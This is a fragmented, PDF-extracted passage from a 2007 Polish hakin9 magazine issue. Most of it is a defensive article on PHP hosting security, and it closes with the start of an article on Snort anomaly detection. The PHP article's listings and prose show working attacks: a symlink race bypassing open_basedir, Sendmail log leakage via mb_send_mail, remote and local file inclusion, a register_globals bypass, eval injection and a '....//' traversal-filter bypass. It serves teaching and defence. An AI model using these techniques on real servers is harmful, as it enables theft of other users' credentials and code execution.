"1/2/3/4/5"

"tango"

)

;

}
?>

Listing 13.

readfileloop.php

php

header

(

"Content-type: text/plain"

)

;

$file

"cash/home/users/mieciu/public_html/forum/cfg.php"

;

while

(

@readfile

(

$file

)

== false

)

;

Listing 14.

badinclude.php

php

$skin

(

isset

(

$_GET

[

'skin'

]))

$_GET

[

'skin'

]

"default"

;

include

(

$skin

"_skin/main.inc"

)

;

Bezpieczieńczstwo kont PHP

hakin9 Nr 3/2007

www.hakin9.org

zwolenie zarówno po stronie klienta
jak i serwera).

Występują jednak sytuacje, na

które zabezpieczenia na poziomie
PHP nie mają wpływu. Na przykład
istnieje funkcja

mb _ send _ mail

, któ-

ra służy do wysyłania maili z odpo-
wiednim  kodowaniem.  Abstrahując
od tego, czemu ona dokładnie słu-
ży, wyczytać można w dokumenta-
cji, że w przypadku kiedy safe_mo-
de  jest  wyłączone,  można  podać
opcjonalnie  jako  ostatni  argument
parametry  linii  poleceń  dla  MTA
(ang.  Mail  Transfer  Agent)  czyli
programu dostarczającego pocztę.
I  tak  demon  Sendmail  może  przy-
jąć między innymi takie dwa cieka-
we parametry:

• C plik – ścieżka do alternatywne-

go pliku konfiguracyjnego

• X plik – ścieżka do pliku, w któ-

rym zapisany będzie dość szcze-
gółowy log.

Co to daje hakerowi? Wbrew pozo-
rom całkiem niemało, spójrzmy na
Listing 10.

W ostatnim argumencie ha-

ker podaje jako plik konfiguracyj-
ny dla Sendmaila plik konfigura-
cyjny do forum doktora Mieczysła-
wa jednocześnie prosząc o logi do
pliku

/tmp/.mb _ send _ mail.

Oto co

haker zobaczy w przypadku wyłą-
czonego

safe _ mode

oraz MTA w

postaci Sendmaila na serwerze-
(Listing 22)

Jak widać Sendmailowi nie od-

powiadała  żadna  linijka  z  podane-
go pliku konfiguracyjnego, co skru-
pulatnie  odnotował,  dzięki  cze-
mu  z  jego  logów  można  praktycz-
nie  odtworzyć  cały  plik.  Inne  MTA
jak Postfix czy Exim działają nieco
inaczej niż Sendmail, więc powyż-
szy przykład dotyczy tylko sytuacji
z tym demonem na serwerze. Może
jednak  inne  MTA  mają  inne  opcje,
które  można  odpowiednio  wyko-
rzystać?

Wiemy już, jak działają dyrekty-

wy safe_mode i

open _ based

ir – kie-

dy użytkownik chce uzyskać dostęp
do pliku lub katalogu, sprawdzane
są odpowiednie ścieżki lub ich wła-

Listing 15.

blah.txt

php

highlight_file

(

$_SERVER

[

'SCRIPT_FILENAME'

])

;

phpinfo

()

;

Listing 16.

badinclude1.php

php

$skin

(

isset

(

$_GET

[

'skin'

]))

$_GET

[

'skin'

]

"default"

;

$skin

"skins/

$skin

/main.inc"

;

(

file_exists

(

$skin

))

include

(

$skin

)

;

Listing 17.

evalcalc.php – szybki kalkulator w php

php

$expr

(

isset

(

$_POST

[

'expr'

]))

$_POST

[

'expr'

]

;

(

@get_magic_quotes_gpc

())

$expr

stripslashes

(

$expr

)

;

(

empty

(

$expr

))

{

eval

(

result =

$expr

)

;

echo

"Wynik wyrażenia

$expr

$result

;

}

echo

form action=

'$_SERVER[PHP_SELF]'

method=

'POST'

echo "

wyrażenie:

input name=

'expr'

size=

'64'

value=

'$expr'

echo "

input type=

'submit'

value=

'wylicz'

echo "

/form

Listing 18.

illusion.php

php

$skin

(

isset

(

$_GET

[

'skin'

]))

$_GET

[

'skin'

]

"default"

;

$skin

"skins/

$skin

/main.inc"

;

/* zabezpieczmy się przed sytuacją, gdy haker chce wyjść katalog wyżej */

$skin

str_replace

(

"../"

$skin

)

;

(

file_exists

(

$skin

))

include

(

$skin

)

;

Listing 19.

dyrektywa safe_mode

Warning:

include

()

[

function

include

]

SAFE MODE Restriction in effect.
The script whose uid is 31337 is not
allowed to access
/etc/passwd owned by uid 0 in
/home/users/haker/public
html/includepasswd.php on line 3

Warning:

include

(

/etc/passwd

)

[

function

include

]

: failed to open

stream: No such

file

directory in

/home/users/haker/public
html/includepasswd.php on line 3

Warning:

include

()

[

function

include

]

Failed opening

'/etc/passwd'

for

inclusion

(

include_path=

'.:/usr/share/php:

/usr/share/pear'

)

/home/users/haker/public_
html/includepasswd.php on line 3

hakin9 Nr 3/2007

www.hakin9.org

Obrona

ściciel. Jeżeli plik jest poza ścieżką
wyznaczoną przez open_basedir
bądź jego właścicielem nie jest wła-
ściciel skryptu (w przypadku

safe _

mode

), odmawiany jest użytkowniko-

wi do zasobu dostęp. Spójrzmy na
Listing 11. Natomiast wynik zobaczy-
my na Listingu 23.

Linia mkdir(„1/2/3/4/5”, 0777,

true)  tworzy  zagłębioną  strukturę
katalogów  –  5  poziomów.  Następ-
nie  tworzony  jest  link  symboliczny
o  nazwie  tango  do  ostatniego  ka-
talogu  w  tej  strukturze.  Drugi  sym-
link  tworzy  dowiązanie  cash  wska-
zujące na pięć katalogów wstecz od
katalogu wskazywanego przez tan-
go, czyli do katalogu, w którym znaj-
dują  się  de  facto  oba  linki,  do  któ-
rego  oczywiście  mamy  dostęp,  za-
tem próba dostępu do cash zakoń-
czy się powodzeniem.

W następnym kroku usuwany

jest  i  tworzony  na  nowo  link  sym-
boliczny tango, tym razem wskazu-
jąc  jednak  na  katalog  bieżący.  Po
tym zabiegu cash wskazuje na pięć
katalogów wstecz od katalogu bie-
żącego,  a  więc  na  główny  katalog
/. Nie należy on do nas ani nie jest
w  ścieżce  określonej  przez

open _

basedir

, więc PHP nie pozwoli nam

go  odczytać,  co  widać  powyżej.
Jeżeli przypomnimy sobie teraz ar-
tykuł  Michała  Wojciechowskiego  z
trzeciego  numeru  hakin9  na  temat
sytuacji  wyścigu,  zauważyć  moż-
na  tutaj  analogiczną  sytuację.  By
z  niej  skorzystać,  stworzymy  dwa
skrypty,  pierwszy  (Listing  12)  bę-
dzie  nieustannie  podmieniał  link
symboliczny tango – raz na katalog
1/2/3/4/5,  raz  na  katalog  bieżący,
drugi (Listing 13) będzie do skutku
próbował odczytać plik cash/home/

users/mieciu/public_html/forum/

cfg.php.

W końcu wystąpi sytuacja, kie-

dy PHP sprawdzi dostęp do pliku w
momencie,  gdy  tango  będzie  wska-
zywał  na  katalog  1/2/3/4/5,  a  więc
nie  będzie  nam  się  sprzeciwiał,  bo
otwierany  cash  będzie  wskazywał
na katalog bieżący, a chwilę później,
kiedy  będzie  otwierany  z  drugie-
go  skryptu  plik  doktora  Mieczysła-
wa, tango wskazywać już będzie na

Listing 20.

dyrektywa open_basedir

Warning:

include

()

[

function

include

]

open_basedir restriction in effect.

File

(

/etc/passwd

)

is not within the

allowed path

(

)

(

/tmp:/home/users/haker

)

/home/users/haker/public
html/includepasswd.php on line 3

Warning:

include

(

/etc/passwd

)

[

function

include

]

failed to open stream: Operation not
permitted in /home/users/haker/public
html/p1.php on line 3

Warning:

include

()

[

function

include

]

Failed opening

'/etc/passwd'

for

inclusion

(

include_path=

'.:/usr/share/php:

/usr/share/pear'

)

/home/users/haker/public_
html/includepasswd.php on line 3

Listing 21.

Pierwsze pliki po wejściu na stronę

Warning: glob

()

[

function

.glob

]

: open_basedir restriction in effect.

File

(

home/users/mieciu/

Mail

)

is not within the allowed

path

(

)

(

/tmp:/home/users/haker

)

in /home/users/

haker/public_html/globtest.php on line 9

Warning: glob

()

[

function

.glob

]

: open_basedir restriction in effect.

File

(

home/users/mieciu/public_html

)

is not within the

allowed path

(

)

(

/tmp:/home/users/haker

)

in /home/

users/haker/public_html/globtest.php on line 8

Listing 22.

Włączony safe_mode i MTA

11905 >>> /home/users/mieciu/public_html/forum/cfg.php:
line 1: unknown configuration line
"
<?php"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php:
line 2: unknown configuration line
".user = "mieciu";"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php: line 3:
unknown configuration line ".pass =
"niktniezaliczy!";"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php: line 4:
unknown configuration line ".host =
"localhost";"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php: line 5:
unknown configuration line ".base = "mieciu-forum";"

11905 >>> /home/users/mieciu/public_html/forum/cfg.php: line 6:
unknown configuration line "?>"

11905 >>> No local mailer defined

11905 >>> QueueDirectory (Q) option must be set

Bezpieczieńczstwo kont PHP

hakin9 Nr 3/2007

www.hakin9.org

katalog  bieżący,  a  więc  cash  na  /
-  wyścig  wygrany  –  hasła  miecia
w  przeglądarce!  Skrypt  alternate-
links.php  można  jeszcze  uprościć
usuwając  dwie  ostatnie  linijki  z  pę-
tli  while  usuwające  i  tworzące  link
symboliczny tango na katalog 1/2/3/
4/5,  ponieważ  katalog  wskazywany
przez cash nie będzie istniał, a więc
nie  wyprowadzi  do  katalogu  głów-
nego  /.  Jedynym  sposobem  zabez-
pieczenia  przez  administratora  ta-
kiej sytuacji wyścigu jest wyłączenie
z użycia funkcji symlink poprzez do-
danie jej do dyrektywy disable_func-
tions w pliku php.ini. Tym oto sposo-
bem haker pozyskał dostęp do bazy
danych  i  konta  swojego  wykładow-
cy, co na pewno zaowocuje zalicze-
niem kursu.

Należy jeszcze zwrócić uwagę,

że haker mając możliwość urucha-
miania swoich własnych skryptów
CGI w perlu, bashu, c, pythonie, czy
w jeszcze innym języku również omi-
ja zabezpieczenia związane z

open _

basedir

oraz

safe _ mode

, bo są to w

końcu zabezpieczenia PHP.

Załóżmy teraz, że administra-

tor  zabezpieczył  serwer  jak  nale-
ży,  użytkownicy  nie  mają  wzajem-
nie  dostępu  do  swoich  zasobów.
Hakerowi  został  więc  teraz  plan  B
czyli  szukanie  niedociągnięć  i  za-
niedbań  w  skryptach  PHP  znajdu-
jących  się  na  koncie  doktora  Mie-
czysława.  Przeanalizujemy  teraz
kilka hipotetycznych sytuacji, które
teoretycznie mogą wystąpić, a za-
uważymy, że faktycznie często się
one zdarzają.

Jako pierwsze omówimy funkcje

wstawiające w miejsce, w którym są
wywoływane zawartość innego pliku
(który może być, ale nie musi, skryp-
tem PHP) czyli

include

require

, i

clude _ once

require _ once

. Różnica

między include, a require polega na
tym, że w przypadku błędu require
zakończy wykonanie skryptu, pod-
czas gdy include wypisze ostrzeże-
nie i wykonanie skryptu będzie kon-
tynuowane.

Suffix _ once

gwarantu-

je, że pliki załączone będą tylko raz.
Spójrzmy w takim razie na Listing 14,
na którym przedstawiona jest pierw-
sza niebezpieczna sytuacja.

Skrypt badninclude.php nie ro-

bi nic wielkiego, pobiera nazwę
skórki ze zmiennej

$ _ GET['skin']

i  załącza  odpowiedni  plik,  z  kata-
logu  danej  skórki.  Jeżeli  podamy
nazwę  nieistniejącej  skórki  (http:

//serwer/badinclude.php?skin=niei

stniejacaskorka), zostanie wyświe-
tlone mniej więcej takie ostrzeże-
nie, jak w Listingu 24.

Haker może bardzo szybko wy-

korzystać  taki  błąd  nawet,  jeśli  nie
posiada  konta  na  serwerze  ofiary.
Na  innym  serwerze  tworzy  on  plik
tekstowy o nazwie blah.txt i zawarto-
ści jak na listingu 15.

Jak widzimy, jest to skrypt PHP

kolorujący swoje źródło, a następ-
nie wyświetlający informacje o PHP

funkcją  phpinfo.  Teraz  podając  ja-
ko  skórkę  adres  www  do  tego  pli-
ku  zakończony  znakiem  zapytania
- co spowoduje, że reszta linijki bę-
dzie traktowana jako zmienne me-
tody  GET  dla  rzekomego  skryptu
- haker uruchomi kod PHP zawarty
w podanym pliku. Widać to na zrzu-
cie ekranu przedstawionym na Ry-
sunku 1.

Istnieją trzy okoliczności wy-

kluczające załączanie plików znaj-
dujących  się  na  zdalnym  ser-
werze.  Pierwszą  z  nich  jest
ustawiona  opcja  allow_url_fo-

pen  na  off  w  php.ini,  która  po-
zwala  załączać  jedynie  pliki
lokalne,  druga,  to  sytuacja,  kie-
dy  nie  możemy  zmienić  początku

Listing 23.

Wynik zadania z Listingu 11

pierwszy dostep

katalogu cash...

Array

(

[

]

cash/1

[

]

cash/cash

[

]

cash/symlinks.php

[

]

cash/

tango

)

drugi dostep

katalogu cash...

Warning: glob

()

[

function

.glob

]

: open_basedir restriction in effect.

File

(

cash/bin

)

is not within the allowed path

(

)

(

/tmp:/home/users/haker

)

in /home/users/haker/public_

html/tmp/symlinks.php on line 17

Listing 24.

Ostrzeżenie po podaniu nazwy nieistniejącej skórki

Warning:

include

(

nieistrniejacaskorka_skin/main.inc

)

[

function

include

]

failed to open stream: No such

file

directory in /

home/users/mieciu/public_html/badinclude.php on line 3

Warning:

include

()

[

function

include

]

: Failed opening

'nieistrniejacaskorka_

skin/main.inc'

for

inclusion

(

include_path=

'.:/usr/

share/php:/usr/share/pear'

)

in /home/users/mieciu/

public_html/badinclude.php on line 3

Listing 25.

Dyrektywa register_globals włączona

Notice: Undefined variable: modules_dir in
/home/users/mieciu/public_
html/news/modules/main/main.php on line 11

Notice: Undefined variable:
lang in /home/users/mieciu/public_
html/news/modules/main/main.php on line 11

Warning:

include

(

/main/-welcome.txt

)

[

function

include

]

: failed to open stream:

No such

file

directory in

/home/users/mieciu/public_
html/news/modules/main/main.php on line 11

Warning:

include

()

[

function

include

]

Failed opening

'/main/-welcome.txt'

for

inclusion

(

include_path=

'.:/usr/share/php

:/usr/share/pear'

)

in /home/users/mieciu/public_

html/news/modules/main/main.php on line 11

hakin9 Nr 3/2007

www.hakin9.org

Obrona

załączanego pliku, trzecia zaś to
sprawdzanie czy plik do wstawie-
nia istnieje. Dwa ostatnie przypadki
przedstawia Listing 16.

W przedstawionym przypadku

nie  zostanie  wyświetlony  błąd  o
nieistniejącym  pliku,  choć  w  wie-
lu  skryptach  taka  informacja  jest
podawana.  Istnieje  jednak  du-
że  prawdopodobieństwo,  że  jest
to  ogólnodostępny  skrypt  i  jeże-
li  nie  ma  jego  nazwy  w  stopce
lub  źródle,  jest  wielce  prawdopo-
dobne,  że  wpisując  w  wyszuki-
warkach  stron  www  kilka  powta-
rzających  się  fraz  na  stronie,  je-
steśmy  w  stanie  określić  jaki  to
skrypt i gdzie znaleźć jego źródła,
którym możemy się przyjrzeć. Je-
żeli  nie,  możemy  poprosić  wprost
naszego  doktora  Mieczysława  o
informacje  jakiego  to  świetnego
skryptu  używa,  czy  sam  go  napi-
sał i czy można pozyskać jego ko-
pię.  A  mając  jego  kopię,  dokład-
nie widać, w czym problem. Haker
natychmiastowo  tworzy  więc  plik
/tmp/main.inc  na  tym  samym  ser-
werze,  na  którym  konto  ma  dok-
tor  Mieczysław,  o  identycznej  za-
wartości jak blah.txt z Listingu 14,
po  czym  wchodzi  na  adres  http:

//serwer/badinclude1.php?skin=../

../../../../tmp. Zmienna $skin w dru-
giej  linijce  skryptu  ma  wtedy  war-
tość skins/../../../../../tmp/main.inc,
a  więc  prowadzi  prosto  do  stwo-
rzonego  wcześniej  pliku  /tmp/
main.inc,  co  skutkuje  podobnym
efektem,  jaki  obserwowaliśmy  na
poprzednim rysunku.

A co z register_globals?

Jeżeli dyrektywa z php.ini o nazwie
register_globals zostanie ustawio-
na na on oznacza to, że wszystkie
zmienne  przekazywane  do  skryp-
tu  są  dostępne  w  postaci  $na-
zwa_zmiennej  i  nie  trzeba  do  ich
dostępu  używać  tablic  globalnych
typu

$ _ GET['nazwa _ zmiennej']

$ _ POST['nazwa _ zmiennej'],

$ _

SESSION['nazwa _ zmiennej']

i tak

dalej. Z jednej strony może się wy-
dawać  to  wygodne,  z  drugiej  jed-
nak  nie  bez  powodu  developerzy
PHP  w  wersji  4.2.0  ustawili  do-

myślnie  tę  dyrektywę  wyłączoną.
Jej  deaktywacja  powoduje  jed-
nak  masę  problemów  ze  starszy-
mi skryptami, więc najczęściej ad-
ministratorzy pozostawiają ją włą-
czoną.  Rozpatrzmy  dość  często
stosowany  szablon  aplikacji  PHP.
W katalogu głównym, nazwijmy go
news,  znajduje  się  plik  index.php
(Listing  16).  Na  wstępie  załącza
plik  z  tego  samego  katalogu  ze
zmiennymi konfiguracyjnymi o na-
zwie  conf.php  (Listing  17).  Potem
sprawdza czy istnieją odpowiednie
katalogi ze skórkami i z modułami,
jeżeli  nie,  przerywa  swoje  działa-
nie.  W  kolejnym  kroku  sprawdza
nazwę  modułu,  do  którego  chce
wejść  użytkownik  w  odpowied-
nim bloku switch, a więc użytkow-
nik  nie  ma  szans  przemycić  tutaj
ścieżki  do  swojego  pliku.  Jeżeli
moduł zaproponowany przez użyt-
kownika  istnieje,  załączany  jest
on  z  katalogu  modules/nazwa_

modułu/main.php,  jeżeli  nie,  na-
zwą  modułu  jest  moduł  domyślny
main. Wszystko zrobione jak nale-
ży. Przykładowy plik do załączenia
modules/main/main.php  przedsta-
wiony jest na Listingu 18. W pierw-
szych  linijkach  tego  pliku  spraw-
dzane jest czy zmienna

$configured

jest  ustawiona  na  1,  co  oznacza,
że  został  załączony  plik  konfigu-
racyjny z Listingu 17. Jeżeli zatem
haker  poda  w  przeglądarce  adres

http://serwer/news/modules/main/

main.php, skrypt wyświetli mu po-
niższy komunikat i zakończy dzia-
łanie:

Nie możesz wchodzić do tego pli-

ku bezpośrednio!

W sytuacji, kiedy dyrektywa regi-

ster_globals jest włączona, wystar-
czy natomiast, że haker jako adres
wpisze http://serwer/news/modules/

main/main.php?configured=1,  a  w
przeglądarce  ujrzy  mniej  więcej  to,
co  możemy  zobaczyć  na  Listin-
gu 25.

zFunkcja eval

Eval  to  „magiczna”  funkcja,  któ-
ra tekst zawarty jako jej argument
traktuje  jako  kod  PHP.  I  tak  na
przykład  można  napisać  bardzo

szybko  efektowny  kalkulator,  któ-
ry  będzie  umiał  wyliczyć  wszyst-
ko  to,  co  potrafi  wyliczyć  sam  ję-
zyk  PHP,  kalkulator  taki  przedsta-
wia Listing 17.

Pierwsze linijki skryptu eval-

calc.php

usuwają

potencjalne

znaki  \  przekazane  przez  formu-
larz,  ostatnie  tworzą  sam  formu-
larz.  Sercem  kalkulatora  jest  linij-
ka  eval("\$result  =  $expr;");,  któ-
ra  dzięki  funkcji  eval,  przypisu-
je  zmiennej  $result  wynik  wyra-
żenia  podanego  przez  użytkowni-
ka. I tak podając mało ciekawe wy-
rażenie  w  stylu  2+2*2<<2  skrypt
odpowie  nam:  Wynik  wyrażenia
2+2*2<<2 to 24. Niby nic wielkiego,
można  się  jednak  pokusić  o  zde-
cydowanie  ciekawsze  wyrażenie,
na  przykład

2+2*2<<2;highlight _

f i l e ( $ _ S E R V E R [ " S C R I P T _
FILENAME"]).

Jakkolwiek wynik wy-

rażenia otrzymany w zmiennej $re-
sult  będzie  identyczny  z  tym  po-
przednim, dostaniemy jeszcze ma-
ły  bonus  w  postaci  pokolorowane-
go źródła kalkulatora (co widać na
rysunku 2) – czyli to, o co de facto
poprosiliśmy pisząc po średniku za
pierwotnym  wyrażeniem.  Tak  wła-
śnie działa eval.

Backdoor PHP czy

kiepski programista?

Jak  widać  istnieje  wiele  niebez-
piecznych  sytuacji,  pozwalają-
cych  hakerom  na  działania,  któ-
rych nie powinni być w stanie do-
konać.  Zdecydowana  większość
osób posiadających swoje witryny
używa  gotowych  skryptów,  pisa-
nych  przez  nieznane  osoby.  Skąd
pewność,  że  to  bezpieczne  apli-
kacje  webowe,  a  nie  tylne  drzwi
do  kont  użytkowników,  którzy  ich
używają?  Co  jakiś  czas  odkrywa-
ne  są  nowe  luki  i  niedociągnięcia
w popularnych skryptach PHP. Ale

W Sieci

• http://www.php.net/ – strona domo-

wa skryptowego języka PHP

• http://www.apache.org/ – strona

domowa serwera www Apache

Bezpieczieńczstwo kont PHP

czy  to  na  pewno  niedociągnięcia,
a  nie  celowe  działania  ich  twór-
ców?  Zauważmy,  że  w  przypad-
ku, gdy wszystkie omówione wyżej
metody  zawiodą  hakera  w  dostę-
pie  do  bazy  danych  doktora  Mie-
czysława,  może  on  przygotować
jakiś bardzo ładny skrypt odpowia-
dający  idealnie  profilowi  doktora,
z  ładną  grafiką,  z  ładnie  prezen-
tującą  go  stroną  główną,  z  ładnie
przygotowanymi  rzekomymi  ko-
mentarzami  zadowolonych  użyt-
kowników  i  zupełnie  przypadkowo
podrzucić go wykładowcy – czy to
wysyłając  maila,  czy  to  porusza-
jąc temat wspaniałej strony dokto-
ra na jednym z jego wykładów, czy
to wykorzystując do tego celu jesz-
cze inne sztuczki lub osoby będą-
ce bliżej potencjalnej ofiary. Oczy-
wiście pan Mieczysław nie bez po-
wodu  ma  tytuł  doktora,  więc  ów
skrypt  będzie  co  najmniej  musiał
zawierać iluzję zabezpieczeń. Kil-
ka takich iluzji zabezpieczeń moż-
na zauważyć analizując przedsta-
wione  wcześniej  listingi,  kolejną
może  być  sytuacja  przedstawio-
na w skrypcie na Listingu 18, któ-
ry  jest  lekką  modyfikacją  wcze-
śniej  pokazanego  skryptu  badinc-

lude1.php.

Faktycznie, linijka

$skin

str _ replace("../", "", $skin);

powoduje,  że  wszystkie  wystą-
pienia  ciągu  znaków  ../  zostaną
usunięte  i  tak  podając  w  adresie

illusion.php?skin=../../../../../tmp

zmienna  $skin  będzie  zawierać
ścieżkę skins/tmp/main.inc – haker
nie  wyjdzie  więc  poza  dany  kata-
log. W ten sposób celu nie uda się
osiągnąć. Zwróćmy jednak uwagę,
że  usuwane  są  znaki  w  konfigura-
cji  ../,  a  ..  lub  samo  /  już  nie.  Dla-
tego  wystarczy,  że  haker  rozdzie-
li  ../  czymś,  co  zostanie  usunięte
(czyli  też  ../),  a  uzyska  to,  co  so-
bie  zamierzył.  Podając  więc  do
adresu  następujący  ciąg  znaków:

illusion.php?skin=....//....//....//..../

/....//tmp,  zostaną  usunięte  znaki
przedstawione  na  czerwono,  po-
zostawiając w zmiennej $skin war-
tość  skins/../../../../../tmp/main.inc,
a więc faktycznie to była iluzja za-
bezpieczenia,  a  nie  realne  zabez-
pieczenie.

Podsumowanie

Jak  widać  z  powyższych  rozwa-
żań,  umieszczanie  swojej  witry-
ny  WWW  w  Internecie  nie  mo-
że  się  sprowadzać  tylko  do  ścią-
gnięcia  najnowszej  wersji  używa-

nego  skryptu,  umieszczenia  go
na  serwerze  i  szybkiej  konfigura-
cji.  Należy  sprawdzić  zabezpie-
czenia serwera, i w razie, gdy ma-
my  dostęp  do  plików  innych  użyt-
kowników,  należy  to  natychmiast
zgłosić  administratorowi,  ponie-
waż  tym  samym  każdy  inny  użyt-
kownik tego serwera może czytać
nasze pliki z hasłami, czy prywat-
nymi  informacjami.  Należy  też  się
dobrze  przyjrzeć  wykorzystywa-
nym w serwisie skryptom PHP, za-
równo własnym, jak i innym, nawet
tym  ze  sprawdzonych  źródeł.  Je-
żeli  nie  mamy  czasu  na  czytanie
linijka  po  linijce  setek  linii  całego
kodu,  należy  przynajmniej  odna-
leźć te, które są kluczowe dla bez-
pieczeństwa  całego  konta,  poten-
cjalnie niebezpieczne funkcje, któ-
re  zostały  przedstawione  w  tym
artykule  oraz  generalnie  wszyst-
kie  inne  operujące  na  plikach,
czyli

include/require

, eval, sys-

tem, exec,

passthru, proc _ open

higlight _ file

, readfile, file, fi-

le_get_contents, fopen i tak da-
lej. Ktoś przecież może mieć wo-
bec Ciebie takie zamiary jak nasz
haker wobec szanownego doktora
Mieczysława, wyprzedź go więc o
krok i bądź przygotowany. l

www.hakin9.org

hakin9 Nr 3/2007

Obrona

pisany poniżej projekt AnomalyDetec-
tion jest próbą włączenia się w ten nurt
poprzez przygotowanie prostego pre-

procesora Snorta mierzącego ruch sieciowy i
generującego ostrzeżenia, jeśli jego natężenie
odbiega znacznie od typowego natężenia noto-
wanego w sieci o tej porze dnia.

Nieco zastrzeżeń

Detekcja  anomalii  to  pojęcie  bardzo  szerokie.
Można – w systemach host-based IDS (HIDS)
–  wykrywać  nietypowe  zachowania  się  urzą-
dzeń (na przykład dużą ilość danych odczyty-
wanych z dysku twardego), w systemach sie-
ciowych  (network  IDS,  NIDS)  próbować  znaj-
dować koincydencje pomiędzy „podejrzanymi”
pakietami  a  atakami  sieciowymi,  czy  wresz-
cie  analizować  ruch  sieciowy  poszukując  nie-
typowego zachowania się poszczególnych ma-
szyn. To ostatnie podejście nazywane jest cza-
sem Traffic Anomaly Detection i właśnie na nim
opiera się przedstawione w artykule rozwiąza-
nie.

Detekcja anomalii wydaje się być metodą

bardzo obiecującą, wykrywanie ataku nie jest
w niej bowiem uzależnione od znajomości
konkretnej sygnatury. Jak dobrze wiadomo

liczba i zróżnicowanie rozmaitych eksploitów,
wirusów,  robaków,  rootkitów  i  innych  złośli-
wych  programów  jest  na  tyle  duża,  że  uak-
tualnianie w rozsądnym czasie baz sygnatur
jest bardzo trudne. Na dodatek nie wszystkie
ataki muszą być prowadzone metodami czy-
sto  „informatycznymi”.  Najprostszym  przy-
padkiem jest sytuacja, w której komuś udało
się na przykład odgadnąć albo ukraść hasło
administratora  routera  i  skierować  kopię  ru-
chu wychodzącego z sieci do własnego anali-
zatora. Oczywiście zdarzenia takiego nie wy-
kryje,  ani  nie  zapobiegnie  mu  system  opar-
ty na sygnaturach (no chyba, że – co w za-

Detekcja anomalii

ruchu sieciowego

w programie Snort

Maciej Skowroński, Radosław Wężyk, Maciej Szmit

stopień trudności

O detekcji anomalii napisano całkiem sporo. Na przykład Google

znajduje bez większego trudu ponad milion stron poświęconych

temu zagadnieniu. Co jakiś czas pojawiają się też prace

poświęcone zastosowaniu do detekcji anomalii najdziwniejszych

technik i algorytmów poczynając od metod statystycznych a

kończąc na rozmaitych technikach sztucznej inteligencji.

Z artykułu dowiesz się...

• informacji o preprocesorach do Snorta bazują-

cych na detekcji anomalii,

Co powinieneś wiedzieć...

• podstawy komunikacji sieciowej TCP/IP
• podstawowe pojęcia dotyczące wykrywania in-

truzów

• znajomość jęzayka C++

Detekcja anomalii ruchu sieciowego w programie Snort

hakin9 Nr 3/2007

www.hakin9.org

sadzie  byłoby  niezłym  pomysłem
– zabroniliśmy zdalnego logowania
na  router  brzegowy  i  nakazaliśmy
informować  o  takich  próbach),  na-
tomiast  prowadzona  dowolną  me-
todą analiza ruchu powinna zdecy-
dowanie  zasygnalizować  podwoje-

nie  natężenia  ruchu  wychodzące-
go.  Z  drugiej  strony  detekcja  ano-
malii nie może być uważana za pa-
naceum na ataki sieciowe. Przesła-
nie jednego pakietu (a tyle wystar-
czy  niektórym  robakom)  czy  za-
szyfrowanej wiadomości pomiędzy
masterem a zombi sieci DDoS mo-
że pozostać niezauważone zarów-
no  przez  system  detekcji  sygnatu-
rowej jak i detekcji anomalii.

Trochę statystyki

Aby  móc  mówić  o  anomaliach  na-
leży  przede  wszystkim  zecydować
się, co uznajemy za normalny ruch
sieciowy.  Oczywiście  charaktery-
styka  każdej  sieci  będzie  wyglą-
dała inaczej, koniecznym jest więc
zaimplementowanie  metod  pozwa-
lających  na  nauczenie  systemu
charakterystyki  sieci,  w  której  bę-
dzie  pracował.  Na  obecnym  eta-
pie  rozwoju  opisywanego  progra-
mu  zostały  do  tego  wykorzystane
proste mierniki statystyczne (śred-
nie  natężenie  ruchu  określonego
typu oraz odchylenie standardowe,
rzecz jasna liczone osobno dla róż-
nych pór doby).

Pierwszym etapem tworzenia

systemu  była  implementacja  apli-
kacji  współpracującej  z  systemem
Snort,  której  zadaniem  miało  być
zapisywanie  do  pliku  określonych
parametrów  ruchu  przechwycone-
go  przez  Snorta.  Po  przejrzeniu
dokumentacji  Snorta  (bardzo  ską-
pej)  i  przeanalizowaniu  jego  ko-

du  źródłowego  zaimplementowa-
ny  został  preprocesor  zapisujący
parametry  przechwyconego  ruchu
do pliku w określonych interwałach
czasowych. Struktura pliku została
dobrana tak, aby łatwo można było
go  zaimportować  do  Excela  w  ce-
lu dalszej analizy zapisanych para-
metrów.

Eksperymentalnie program uru-

chomiony  został  w  osiedlowej  sie-
ci  komputerowej  w  celu  analizy  za-
leżności  i  powtarzalności  monitoro-
wanych zjawisk. Można się spodzie-
wać,  że  charakterystyka  ruchu  bę-
dzie inna w przypadku sieci osiedlo-
wej, inna w sieci biurowej, a jeszcze
inna w sieci w firmie zajmującej się
hostingiem.  Analiza  zebranych  da-
nych  pokazała,  istnienie  podwójnej
okresowości  (dobowej  i  tygodnio-
wej).  Można  spodziewać  się  także,
że w sieci wystąpi okresowość rocz-
na,  jakkolwiek  analizowane  szeregi
były zbyt krótkie by to wykazać.

Na wykresie 1. widoczna jest

okresowość dobowa. Można zauwa-
żyć  określone  wartości  liczby  pa-
kietów  w  odpowiednich  godzinach
w  czasie  doby.  Widoczne  jest  rów-
nież  wzmożenie  ruchu  w  weekend
(24.06.06-25.06.06).

Napisany preprocesor zapisuje

25 parametrów przechwyconego ru-
chu sieciowego:

•   Liczba pakietów TCP,
•   Liczba wysłanych pakietów TCP,
•   Liczba odebranych pakietów TCP,

Co to jest Snort

Snort http://www.snort.org jest dostep-
nym na licencji GNU systemem detek-
cji włamań (IDS). Na stronach Snorta
można  znaleźć  jego  dystrybucje  dla
systemów linux i Windows oraz przygo-
towaną  specjalnie  dla  początkujących
wersję  w  postaci  maszyny  wirtualnej
VMWare.  Snort  umożliwia  dołączanie
preprocesorów  danych  implementują-
cych własne mechanizmy detekcji wła-
mań (jednym z nich jest opisany w ar-
tykule preprocesor Anomaly Detection
http://www.anomalydetection.info),  po-
trafi również współpracować z progra-
mami  zewnętrznymi,  dzięki  czemu
można  rozszerzać  jego  funkcjonal-
ność  na  przykład  o  system  aktywnej
odpowiedzi  czy  o  wizualizację  staty-
styk  włamań  za  pomocą  stron  www.
Systemy  wykrywania  włamań  dzieli
się zazwyczaj na systemy detekcji nad-
użyć (oparte o bazę sygnatur, działają-
ce analogicznie do programów antywi-
rusowych czy zwalczajacych malware)
oraz systemy detekcji anomalii – reagu-
jące na nietypowe zachowania sieci lub
komputera.  Snort  jest  systemem  wy-
korzystującym  sygnaturową  detekcję
nadużyć, jakkolwiek można – dzięki je-
go modularnej budowie – próbować za-
implementowac w nim również mecha-
nizmy detekcji anomalii. Jedną z pierw-
szych  prób  był  eksperymentalny  pre-
